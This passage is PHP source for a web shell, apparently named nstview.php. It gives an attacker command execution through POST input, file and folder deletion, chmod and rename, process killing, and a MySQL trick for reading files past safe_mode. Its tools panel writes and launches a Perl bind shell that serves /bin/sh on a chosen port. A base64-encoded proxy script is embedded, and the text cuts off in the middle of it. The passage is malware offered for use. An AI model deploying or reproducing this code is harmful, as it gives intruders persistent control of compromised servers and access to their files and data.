mysql_free_result($result);
print "</table>";
} #end vnutr
print "</td></tr></table>";
} # end $conn


###   end of sql
print "</tr></td></table> </td></tr></table>";
print $copyr;
die;
}


@$p=$_GET['p'];
if(@$_GET['p']=="selfremover"){
        print "<tr><td>";
print "<font color=red face=verdana size=1>Are you sure?<br>
<a href='$php_self?p=yes'>Yes</a> | <a href='$php_self?'>No</a><br>
Remove: <u>";
$path=__FILE__;
print $path;
print " </u>?</td></tr></table>";
die;
}

if($p=="yes"){
$path=__FILE__;
@unlink($path);
$path=str_replace("\","/",$path);
if(file_exists($path)){$hmm="NOT DELETED!!!";
print "<tr><td><font color=red>FILE $path NOT DELETED</td></tr>";
}else{$hmm="DELETED";}
print "<script>alert('$path $hmm');</script>";

}



if($os=="unix"){
function fastcmd(){
global $fast_commands;
$c_f=explode("
",$fast_commands);
$c_f=count($c_f)-2;
print "
<form method=post>
Total commands: $c_f<br>
<select name=sh3>";

$c=substr_count($fast_commands," (nst) ");
for($i=0; $i<=$c; $i++){
       $expl2=explode("
",$fast_commands);
        $expl=explode(" (nst) ",$expl2[$i]);
        if(trim($expl[1])!=""){
        print "<option value='".trim($expl[1])."'>$expl[0]</option>
";
   }
}

print "</select><br>
<input type=submit value=Exec>
</form>
";
}
}#end of os unix


if($os=="win"){
function fastcmd(){
global $fast_commands_win;
$c_f=explode("
",$fast_commands_win);
$c_f=count($c_f)-2;
print "
<form method=post>
Total commands: $c_f<br>
<select name=sh3>";

$c=substr_count($fast_commands_win," (nst) ");
for($i=0; $i<=$c; $i++){
       $expl2=explode("
",$fast_commands_win);
        $expl=explode(" (nst) ",$expl2[$i]);
        if(trim($expl[1])!=""){
        print "<option value='".trim($expl[1])."'>$expl[0]</option>
";
   }
}

print "</select><br>
<input type=submit value=Exec>
</form>
";
}
}#end of os win


echo "
<tr><td>";
if(@$_GET['sh311']=="1"){echo "<center>cmd<br>pwd:
";
chdir($d);
echo getcwd()."<br><br>
Fast cmd:<br>";
fastcmd();
if($os=="win"){$d=str_replace("/","\",$d);}
print "
<a href=\"javascript:cwd('$d ')\">Insert pwd</a>
<form name=sh311Form method=post><input name=sh3 size=110></form></center><br>
";
if(@$_POST['sh3']){
$sh3=$_POST['sh3'];
echo "<pre>";
print `$sh3`;
echo "</pre>";
}
}

if(@$_GET['sh311']=="2"){
echo "<center>cmd<br>
pwd:
";
chdir($d);
echo getcwd()."<br><br>
Fast cmd:<br>";
fastcmd();
if($os=="win"){$d=str_replace("/","\",$d);}
print "
<a href=\"javascript:cwd('$d ')\">Insert pwd</a>
<form name=sh311Form method=post><input name=sh3 size=110></form></center><br>";
if(@$_POST['sh3']){
$sh3=$_POST['sh3'];
echo "<pre>"; print `$sh3`; echo "</pre>";}
echo $copyr;
exit;}

if(@$_GET['delfl']){
@$delfolder=$_GET['delfolder'];
echo "DELETE FOLDER: <font color=red>".@$_GET['delfolder']."</font><br>
(All files must be writable)<br>
<a href='$php_self?deldir=1&dir=".@$delfolder."&rback=".@$_GET['rback']."'>Yes</a> || <a href='$php_self?d=$d'>No</a><br><br>
";
echo $copyr;
exit;
}


$mkdir=$_GET['mkdir'];
if($mkdir){
print "<br><b>Create Folder in $d :</b><br><br>
<form method=post>
New folder name:<br>
<input name=dir_n size=30>
</form><br>
";
if($_POST['dir_n']){
mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']);
print "<b><font color=green>Directory created success!</font></b>";
}
print $copyr;
die;
}


$mkfile=$_GET['mkfile'];
if($mkfile){
print "<br><b>Create file in $d :</b><br><br>
<form method=post>
File name:<br>
(example: hello.txt , hello.php)<br>
<input name=file_n size=30>
</form><br>
";
if($_POST['file_n']){
$fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']);
fwrite($fp,"");
print "<b><font color=green>File created success!</font></b>";
}
print $copyr;
die;
}


$ps_table=$_GET['ps_table'];
if($ps_table){

if($_POST['kill_p']){
exec("kill -9 ".$_POST['kill_p']);
}

$str=`ps aux`;

# You can put here preg_match_all for other distrib/os
preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches);


print "<br><b>PS Table :: Fast kill program<br>
(p.s: Tested on Linux slackware 10.0)<br>
<br></b>";
print "<center><table border=1>";
for($i=0; $i<count($matches[3]); $i++){
$expl=explode(" ",$matches[0][$i]);
print "<tr><td>$expl[0]</td><td>PID: ".$matches[1][$i]." :: ".$matches[3][$i]."</td><form method=post><td><font color=red>Kill: <input type=submit name=kill_p value=".trim($matches[1][$i])."></td></form></tr>";
}#end of for
print "</table></center><br><br>";
unset($str);
print $copyr;
die;
}#end of ps table


$read_file_safe_mode=$_GET['read_file_safe_mode'];
if($read_file_safe_mode){

if(!isset($_POST['l'])){$_POST['l']="root";}

print "<br>
Read file content using MySQL - when <b>safe_mode</b>, <b>open_basedir</b> is <font color=green>ON</font><Br>
<form method=post>
<table>
<tr><td>Addr:</td><Td> <input name=serv_ip value='127.0.0.1'><input name=port value='3306' size=6></td></tr>
<tr><td>Login:</td><td><input name=l value=".$_POST['l']."></td></tr>
<tr><td>Passw:</td><td><input name=p value=".$_POST['p']."></td></tr></table>
(example: /etc/hosts)<br>
<input name=read_file size=45><br>
<input type=submit value='Show content'>
</form>
<br>";

if($_POST['read_file']){
$read_file=$_POST['read_file'];
@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("<font color=red>".mysql_error()."</font>");
mysql_create_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
mysql_select_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("<font color=red>".mysql_error()."</font>");
mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
$query = "SELECT * FROM tmp_file";
$result = mysql_query($query) or die("<font color=red>".mysql_error()."</font>");
print "<b>File content</b>:<br><br>";
for($i=0;$i<mysql_num_fields($result);$i++){
$name=mysql_field_name($result,$i);}
while($line=mysql_fetch_array($result, MYSQL_ASSOC)){
foreach ($line as $key =>$col_value) {
print htmlspecialchars($col_value)."<br>";}}
mysql_free_result($result);
mysql_drop_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
}


print $copyr;
die;
}#end of read_file_safe_mode


# sys
$wich_f=$_GET['wich_f'];
$delete=$_GET['delete'];
$del_f=$_GET['del_f'];
$chmod=$_GET['chmod'];
$ccopy_to=$_GET['ccopy_to'];


# delete
if(@$_GET['del_f']){
if(!isset($delete)){
print "<font color=red>Delete this file?</font><br>
<b>$d/$wich_f<br><br></b>
<a href='$php_self?d=$d&del_f=$wich_f&delete=1'>Yes</a> / <a href='$php_self?d=$d'>No</a>
";}
if($delete==1){
unlink($d."/".$del_f);
print "<b>File: <font color=green>$d/$del_f DELETED!</font></b>
<br><b> <a href='$php_self?d=$d'># BACK</a>
";
}
echo $copyr;
exit;
}


# copy to
if($ccopy_to){
$wich_f=$_POST['wich_f'];
$to_f=$_POST['to_f'];
print "<font color=green>Copy file:<br>
$d/$ccopy_to</font><br>
<br>
<form method=post>
File:<br><input name=wich_f size=100 value='$d/$ccopy_to'><br><br>
To:<br><input name=to_f size=100 value='$d/nst_$ccopy_to'><br><br>
<input type=submit value=Copy></form><br><br>
";

if($to_f){
@copy($wich_f,$to_f) or die("<font color=red>Cannot copy!!! maybe folder is not writable</font>");
print "<font color=green><b>Copy success!!!</b></font><br>";
}

echo $copyr;
exit;
}


# chmod
if(@$_GET['chmod']){
$perms = @fileperms($d."/".$wich_f);
print "<b><font color=green>CHMOD file $d/$wich_f</font><br>
<br><center>This file chmod is</b> ";
print perm($perms);
print "</center>
<br>";
$chmd=<<<HTML

<script>
<!--

function do_chmod(user) {
        var field4 = user + "4";
        var field2 = user + "2";
        var field1 = user + "1";
        var total = "t_" + user;
        var symbolic = "sym_" + user;
        var number = 0;
        var sym_string = "";

        if (document.chmod[field4].checked == true) { number += 4; }
        if (document.chmod[field2].checked == true) { number += 2; }
        if (document.chmod[field1].checked == true) { number += 1; }

        if (document.chmod[field4].checked == true) {
                sym_string += "r";
        } else {
                sym_string += "-";
        }
        if (document.chmod[field2].checked == true) {
                sym_string += "w";
        } else {
                sym_string += "-";
        }
        if (document.chmod[field1].checked == true) {
                sym_string += "x";
        } else {
                sym_string += "-";
        }

        if (number == 0) { number = ""; }
        document.chmod[total].value = number;
        document.chmod[symbolic].value = sym_string;

        document.chmod.t_total.value = document.chmod.t_owner.value + document.chmod.t_group.value + document.chmod.t_other.value;
        document.chmod.sym_total.value = "-" + document.chmod.sym_owner.value + document.chmod.sym_group.value + document.chmod.sym_other.value;
}
//-->
</script>



<form name="chmod" method=post>
<p><table cellpadding="0" cellspacing="0" border="0" bgcolor="silver"><tr><td width="100%" valign="top"><table width="100%" cellpadding="5" cellspacing="2" border="0"><tr><td width="100%" bgcolor="#008000" align="center" colspan="5"><font color="#ffffff" size="3"><b>CHMOD (File Permissions)</b></font></td></tr>
        <tr bgcolor="gray">
                <td align="left"><b>Permission</b></td>
                <td align="center"><b>Owner</b></td>
                <td align="center"><b>Group</b></td>
                <td align="center"><b>Other</b></td>
                <td bgcolor="#dddddd" rowspan="4"> </td>
        </tr><tr bgcolor="#dddddd">
                <td align="left" nowrap><b>Read</b></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner4" value="4" onclick="do_chmod('owner')"></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group4" value="4" onclick="do_chmod('group')"></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other4" value="4" onclick="do_chmod('other')"></td>
        </tr><tr bgcolor="#dddddd">
                <td align="left" nowrap><b>Write</b></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner2" value="2" onclick="do_chmod('owner')"></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group2" value="2" onclick="do_chmod('group')"></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other2" value="2" onclick="do_chmod('other')"></td>
        </tr><tr bgcolor="#dddddd">
                <td align="left" nowrap><b>Execute</b></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner1" value="1" onclick="do_chmod('owner')"></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group1" value="1" onclick="do_chmod('group')"></td>
                <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other1" value="1" onclick="do_chmod('other')"></td>
        </tr><tr bgcolor="#dddddd">
                <td align="right" nowrap>Octal:</td>
                <td align="center"><input type="text" name="t_owner" value="" size="1"></td>
                <td align="center"><input type="text" name="t_group" value="" size="1"></td>
                <td align="center"><input type="text" name="t_other" value="" size="1"></td>
                <td align="left"><b>=</b> <input type="text" name="t_total" value="777" size="3"></td>
        </tr><tr bgcolor="#dddddd">
                <td align="right" nowrap>Symbolic:</td>
                <td align="center"><input type="text" name="sym_owner" value="" size="3"></td>
                <td align="center"><input type="text" name="sym_group" value="" size="3"></td>
                <td align="center"><input type="text" name="sym_other" value="" size="3"></td>
                <td align="left" width=100><b>=</b> <input type="text" name="sym_total" value="" size="10"></td>
        </tr>
</table></td></tr></table></p>
HTML;

print "<center>".$chmd."

<b>$d/$wich_f</b><br><br>
<input type=submit value=CHMOD></form>
</center>
</form>
";
$t_total=$_POST['t_total'];
if($t_total){
chmod($d."/".$wich_f,$t_total);
print "<center><font color=green><br><b>Now chmod is $t_total</b><br><br></font>";
print "<a href='$php_self?d=$d'># BACK</a><br><br>";
}
echo $copyr;
exit;
}

# rename
if(@$_GET['rename']){
print "<b><font color=green>RENAME $d/$wich_f ?</b></font><br><br>
<center>
<form method=post>
<b>RENAME</b><br><u>$wich_f</u><br><Br><B>TO</B><br>
<input name=rto size=40 value='$wich_f'><br><br>
<input type=submit value=RENAME>
</form>
";

@$rto=$_POST['rto'];

if($rto){
$fr1=$d."/".$wich_f;
$fr1=str_replace("//","/",$fr1);
$to1=$d."/".$rto;
$to1=str_replace("//","/",$to1);

rename($fr1,$to1);
print "File <br><b>$wich_f</b><br>Renamed to <b>$rto</b><br><br>";

echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=".$php_self."?d=".$d."&rename=1&wich_f=".$rto."\">";

}

echo $copyr;
exit;
}




if(@$_GET['deldir']){
@$dir=$_GET['dir'];
function deldir($dir)
{
$handle = @opendir($dir);
while (false!==($ff = @readdir($handle))){
if($ff != "." && $ff != ".."){
if(@is_dir("$dir/$ff")){
deldir("$dir/$ff");
}else{
@unlink("$dir/$ff");
}}}
@closedir($handle);
if(@rmdir($dir)){
@$success = true;}
return @$success;
}
$dir=@$dir;
deldir($dir);

$rback=$_GET['rback'];
@$rback=explode("/",$rback);
$crb=count($rback);
for($i=0; $i<$crb-1; $i++){
        @$x.=$rback[$i]."/";
}
echo "<meta http-equiv=\"REFRESH\" content=\"0;URL='$php_self?d=".@$x."'\">";
echo $copyr;
exit;}


if(@$_GET['t']=="tools"){
        # unix
if($os=="unix"){
print "
<center><br>
<font color=red><b>P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.</b><br></font>
<table border=1>
<tr><td align=center><b>[Name]</td><td align=center><b>[C]</td><td align=center><b>[Port]</td><td align=center><b>[Perl]</td><td align=center><b>[Port]</td><td align=center><b>[Other options, info]</td></tr>
<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input type=submit name=c_bd value='Start' style='background-color:green;'></td><td><input name=port size=6 value=5545></td></form><form method=post><td><input type=submit name=perl_bd value='Start' style='background-color:green;'></td><td><input name=port value=5551 size=6></td><td>none</td></form></tr>
<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><input type=submit value='Start' name=bc_c style='background-color:green;'></td><td><input name=port_c size=6 value=5546></td><td><input type=submit value='Start' name=port_p disabled style='background-color:gray;'></td><td><input name=port value=5552 size=6></td><td>b.c. ip: <input name=ip value='".$_SERVER['REMOTE_ADDR']."'> nc -l -p <i>5546</i></td></form></tr>
<tr><form method=post><td><font color=red><b>Datapipe:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port_1 size=6 value=5547></td><td><input type=submit value='Start' name=datapipe_pl style='background-color:green;'></td><td><input name=port_2 value=5553 size=6></td><td>other serv ip: <input name=ip> port: <input name=port_3 value=5051 size=6></td></form></tr>
<tr><form method=post><td><font color=red><b>Web proxy:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5548></td></form><form method=post><td><input type=submit value='Start' name=perl_proxy style='background-color:green;'></td><td><input name=port size=6 value=5554></td></form><td>none</td></tr>
<tr><form method=post><td><font color=red><b>Socks 4 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5549></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5555></td><td>none</td></tr>
<tr><form method=post><td><font color=red><b>Socks 5 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5550></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5556></td><td>none</td></tr>
</table>
</center>
<br><Br>
";
}#end of unix


if($_POST['perl_bd']){
$port=$_POST['port'];
$perl_bd_scp = "
use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY));
listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);}
open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\");
close X;}}";

if(is_writable("/tmp")){
$fp=fopen("/tmp/nst_perl_bd.pl","w");
fwrite($fp,"$perl_bd_scp");
passthru("nohup perl /tmp/nst_perl_bd.pl &");
unlink("/tmp/nst_perl_bd.pl");
}else{
if(is_writable(".")){
mkdir(".nst_bd_tmp");
$fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w");
fwrite($fp,"$perl_bd_scp");
passthru("nohup perl .nst_bd_tmp/nst_perl_bd.pl &");
unlink(".nst_bd_tmp/nst_perl_bd.pl");
rmdir(".nst_bd_tmp");
}
}
$show_ps="1";
}#end of start perl_bd

if($_POST['perl_proxy']){
$port=$_POST['port'];
$perl_proxy_scp = "IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI3JlcXVpcmUgInN5cy9zb2NrZXQucGgiOw0KdXNlIFNvY2tldDsNCnNyYW5kICh0aW1lfHwkJCk7DQojLS0tICBEZWZpbmUgYSBmcmllbmRseSBleGl0IGhhbmRsZXINCiRTSUd7J0tJTEwnfSA9ICRTSUd7UVVJVH0gPSAkU0lHe0lOVH0gPSAnZXhpdF9oYW5kbGVyJzsNCnN1YiBleGl0X2hhbmRsZXIgew0KICAgIHByaW50ICJcblxuIC0tLSBQcm94eSBzZXJ2ZXIgaXMgZHlpbmcgLi4uXG5cbiI7DQogICAgY2xvc2UoU09DS0VUKTsNCiAgICBleGl0Ow0KDQp9DQojLS0tICBTZXR1cCBzb2NrZXQNCg0KJHwgPSAxOw0KJHByb3h5X3BvcnQgPSBzaGlmdChAQVJHVik7DQokcHJveHlfcG9ydCA9IDgxODEgdW5sZXNzICRwcm94eV9wb3J0ID1+IC9cZCsvOw0KDQokc29ja2V0X2Zvcm1hdCA9ICdTIG4gYTQgeDgnOw0KJmxpc3Rlbl90b19wb3J0KFNPQ0tFVCwgJHByb3h5X3BvcnQpOw0KJGxvY2FsX2hvc3QgPSBgaG9zdG5hbWVgOw0KY2hvcCgkbG9jYWxfaG9zdCk7DQokbG9jYWxfaG9zdF9pcCA9IChnZXRob3N0YnluYW1lKCRsb2NhbF9ob3N0KSlbNF07DQpwcmludCAiIC0tLSBQcm94eSBzZXJ2ZXIgcnVubmluZyBvbiAkbG9jYWxfaG9zdCBwb3J0OiAkcHJveHlfcG9ydCBcblxuIjsNCiMtLS0gIExvb3AgZm9yZXZlciB0YWtpbmcgcmVxdWVzdHMgYXMgdGhleSBjb21lDQp3aGlsZSAoMSkgew0KIy0tLSAgV2FpdCBmb3IgcmVxdWVzdA0KICAgIHByaW50ICIgLS0tIFdhaXRpbmcgdG8gYmUgb2Ygc2VydmljZSAuLi5cbiI7DQogICAgKCRhZGRyID0gYWNjZXB0KENISUxELFNPQ0tFVCkpIHx8IGRpZSAiYWNjZXB0ICQhIjsNCiAgICAoJHBvcnQsJGluZXRhZGRyKSA9ICh1bnBhY2soJHNvY2tldF9mb3JtYXQsJGFkZHIpKVsxLDJdOw0KICAgIEBpbmV0YWRkciA9IHVucGFjaygnQzQnLCRpbmV0YWRkcik7DQogICAgcHJpbnQgIkNvbm5lY3Rpb24gZnJvbSAiLCBqb2luKCIuIiwgQGluZXRhZGRyKSwgIiAgcG9ydDogJHBvcnQgXG4iOw0KIy0tLSAgRm9yayBhIHN1YnByb2Nlc3MgdG8gaGFuZGxlIHJlcXVlc3QuDQojLS0tICBQYXJlbnQgcHJvY2VzIGNvbnRpbnVlcyBsaXN0ZW5pbmcuDQogICAgaWYgKGZvcmspIHsNCgl3YWl0OwkJIyBGb3Igbm93IHdlIHdhaXQgZm9yIHRoZSBjaGlsZCB0byBmaW5pc2gNCgluZXh0OwkJIyBXZSB3YWl0IHNvIHRoYXQgcHJpbnRvdXRzIGRvbid0IG1peA0KICAgIH0NCiMtLS0gIFJlYWQgZmlyc3QgbGluZSBvZiByZXF1ZXN0IGFuZCBhbmFseXplIGl0Lg0KIy0tLSAgUmV0dXJuIGFuZCBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QgbWV0aG9kLg0KICAgKCRmaXJzdCwkbWV0aG9kKSA9ICZhbmFseXplX3JlcXVlc3Q7DQojLS0tICBTZW5kIHJlcXVlc3QgdG8gcmVtb3RlIGhvc3QNCiAgICBwcmludCBVUkwgJGZpcnN0Ow0KICAgIHByaW50ICRmaXJzdDsNCiAgICB3aGlsZSAoPENISUxEPikgew0KCXByaW50ICRfOw0KCW5leHQgaWYgKC9Qcm94eS1Db25uZWN0aW9uOi8pOw0KCXByaW50IFVSTCAkXzsNCglsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvKTsNCiAgICB9DQogICAgaWYgKCRtZXRob2QgZXEgIlBPU1QiKSB7DQoJJGRhdGEgPSA8Q0hJTEQ+Ow0KCXByaW50ICRkYXRhOw0KCXByaW50IFVSTCAkZGF0YTsNCiAgICB9DQogICAgcHJpbnQgVVJMICJcbiI7DQojLS0tICBXYWl0IGZvciByZXNwb25zZSBhbmQgdHJhbnNmZXIgaXQgdG8gcmVxdWVzdG9yLg0KICAgIHByaW50ICIgLS0tIERvbmUgc2VuZGluZy4gUmVzcG9uc2U6IFxuXG4iOw0KICAgICRoZWFkZXIgPSAxOw0KICAgICR0ZXh0ID0gMDsNCiAgICB3aGlsZSAoPFVSTD4pIHsNCglwcmludCBDSElMRCAkXzsNCglpZiAoJGhlYWRlciB8fCAkdGV4dCkgewkgICAgICMgT25seSBwcmludCBoZWFkZXIgJiB0ZXh0IGxpbmVzIHRvIFNURE9VVA0KCSAgICBwcmludCAkXzsNCgkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15bXHNceDAwXSokLykgew0KCQkkaGVhZGVyID0gMDsNCgkgICAgfQ0KIwkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15Db250ZW50LXR5cGU6IHRleHQvKSB7DQojCQkkdGV4dCA9IDE7DQojCSAgICB9DQoJfQ0KICAgIH0NCiAgICBjbG9zZShVUkwpOw0KICAgIGNsb3NlKENISUxEKTsNCiAgICBleGl0OwkJCSMgRXhpdCBmcm9tIGNoaWxkIHByb2Nlc3MNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0JYW5hbHl6ZV9yZXF1ZXN0CQkJCQkJCS0tDQojLS0JCQkJCQkJCQktLQ0KIy0tCUFuYWx5emUgYSBuZXcgcmVxdWVzdC4gIEZpcnN0IHJlYWQgaW4gZmlyc3QgbGluZSBvZiByZXF1ZXN0LgktLQ0KIy0tCVJlYWQgVVJMIGZyb20gaXQsIHByb2Nlc3MgVVJMIGFuZCBvcGVuIGNvbm5lY3Rpb24uCQktLQ0KIy0tCVJldHVybiBhbiBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QJLS0NCiMtLQltZXRob2QuCQkJCQkJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBhbmFseXplX3JlcXVlc3Qgew0KIy0tLSAgUmVhZCBmaXJzdCBsaW5lIG9mIEhUVFAgcmVxdWVzdA0KICAgICRmaXJzdCA9IDxDSElMRD47DQoNCiAgICAkdXJsID0gKCRmaXJzdCA9fiBtfChodHRwOi8vXFMrKXwpWzBdOw0KICAgIHByaW50ICJSZXF1ZXN0IGZvciBVUkw6ICAkdXJsIFxuIjsNCg0KIy0tLSAgQ2hlY2sgaWYgZmlyc3QgbGluZSBpcyBvZiB0aGUgZm9ybSBHRVQgaHR0cDovL2hvc3QtbmFtZSAuLi4NCiAgICAoJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID0gDQoJKCRmaXJzdCA9fiBtIShHRVR8UE9TVHxIRUFEKSBodHRwOi8vKFteLzpdKyk6PyhcZCopISApOw0KIy0tLSAgSWYgbm90LCBiYWQgcmVxdWVzdC4NCiAgICANCiAgICBpZiAoISRyZW1vdGVfaG9zdCkgew0KCXByaW50ICRmaXJzdDsNCgl3aGlsZSAoPENISUxEPikgew0KCSAgICBwcmludCAkXzsNCgkgICAgbGFzdCBpZiAoJF8gPX4gL15bXHNceDAwXSokLyk7DQoJfQ0KCXByaW50ICJJbnZhbGlkIEhUVFAgcmVxdWVzdCBmcm9tICIsIGpvaW4oIi4iLCBAaW5ldGFkZHIpLCAiXG4iOw0KIwlwcmludCBDSElMRCAiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIiwiXG5cbiI7DQoJcHJpbnQgQ0hJTEQgIkkgZG9uJ3QgdW5kZXJzdGFuZCB5b3VyIHJlcXVlc3QuXG4iOw0KCWNsb3NlKENISUxEKTsNCglleGl0Ow0KICAgIH0NCiMtLS0gIElmIHJlcXVlc3RlZCBVUkwgaXMgdGhlIHByb3h5IHNlcnZlciB0aGVuIGlnbm9yZSByZXF1ZXN0DQogICAgJHJlbW90ZV9pcCA9IChnZXRob3N0YnluYW1lKCRyZW1vdGVfaG9zdCkpWzRdOw0KICAgIGlmICgoJHJlbW90ZV9pcCBlcSAkbG9jYWxfaG9zdF9pcCkgJiYgKCRyZW1vdGVfcG9ydCBlcSAkcHJveHlfcG9ydCkpIHsNCglwcmludCAkZmlyc3Q7DQoJd2hpbGUgKDxDSElMRD4pIHsNCgkgICAgcHJpbnQgJF87DQoJICAgIGxhc3QgaWYgKCRfID1+IC9eW1xzXHgwMF0qJC8pOw0KCX0NCglwcmludCAiIC0tLSBDb25uZWN0aW9uIHRvIHByb3h5IHNlcnZlciBpZ25vcmVkLlxuIjsNCiMJcHJpbnQgQ0hJTEQgIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIsIlxuXG4iOw0KCXByaW50IENISUxEICJJdCdzIG5vdCBuaWNlIHRvIG1ha2UgbWUgbG9vcCBvbiBteXNlbGYhLlxuIjsNCgljbG9zZShDSElMRCk7DQoJZXhpdDsNCiAgICB9DQojLS0tICBTZXR1cCBjb25uZWN0aW9uIHRvIHRhcmdldCBob3N0IGFuZCBzZW5kIHJlcXVlc3QNCiAgICAkcmVtb3RlX3BvcnQgPSAiaHR0cCIgdW5sZXNzICgkcmVtb3RlX3BvcnQpOw0KICAgICZvcGVuX2Nvbm5lY3Rpb24oVVJMLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7DQojLS0tICBSZW1vdmUgcmVtb3RlIGhvc3RuYW1lIGZyb20gVVJMDQogICAgICAgICRmaXJzdCA9fiBzL2h0dHA6XC9cL1teXC9dKy8vOw0KICAgICgkZmlyc3QsICRtZXRob2QpOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLQlsaXN0ZW5fdG9fcG9ydChTT0NLRVQsICRwb3J0KQkJCQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgbGlzdGVucyB0byBhIHNwZWNpZmljIHBvcnQJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBsaXN0ZW5fdG9fcG9ydCB7DQogICAgbG9jYWwgKCRwb3J0KSA9ICRfWzFdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIsICRtYXhfcmVxdWVzdHMpOw0KICAgICRtYXhfcmVxdWVzdHMgPSAzOwkJIyBNYXggbnVtYmVyIG9mIG91dHN0YW5kaW5nIHJlcXVlc3RzDQogICAgJHNvY2tldF9mb3JtYXQgPSAnUyBuIGE0IHg4JzsNCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcGFja2VkX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICJcMFwwXDBcMCIpOw0KICAgIHNvY2tldCgkX1swXSwgJlBGX0lORVQsICZTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUgInNvY2tldDogJCEiOw0KICAgIGJpbmQoJF9bMF0sICRwYWNrZWRfcG9ydCkgfHwgZGllICJiaW5kOiAkISI7DQogICAgbGlzdGVuKCRfWzBdLCAkbWF4X3JlcXVlc3RzKSB8fCBkaWUgImxpc3RlbjogJCEiOw0KICAgICRjdXIgPSBzZWxlY3QoJF9bMF0pOyAgDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQogICAgfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tCW9wZW5f